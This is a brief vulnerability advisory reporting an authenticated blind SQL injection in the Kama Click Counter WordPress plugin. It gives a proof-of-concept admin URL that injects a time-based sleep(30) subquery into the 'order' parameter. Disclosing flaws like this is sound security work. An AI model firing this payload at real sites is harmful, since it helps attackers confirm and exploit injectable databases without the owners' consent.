The Kama Click Counter WordPress plugin was affected by an Authenticated Blind SQL Injection security vulnerability.
http://www.example.com/wp-admin/admin.php?page=kama-clic-counter&order_by=link_name&order=ASC%2c(select*from(select(sleep(30)))a)&paged=1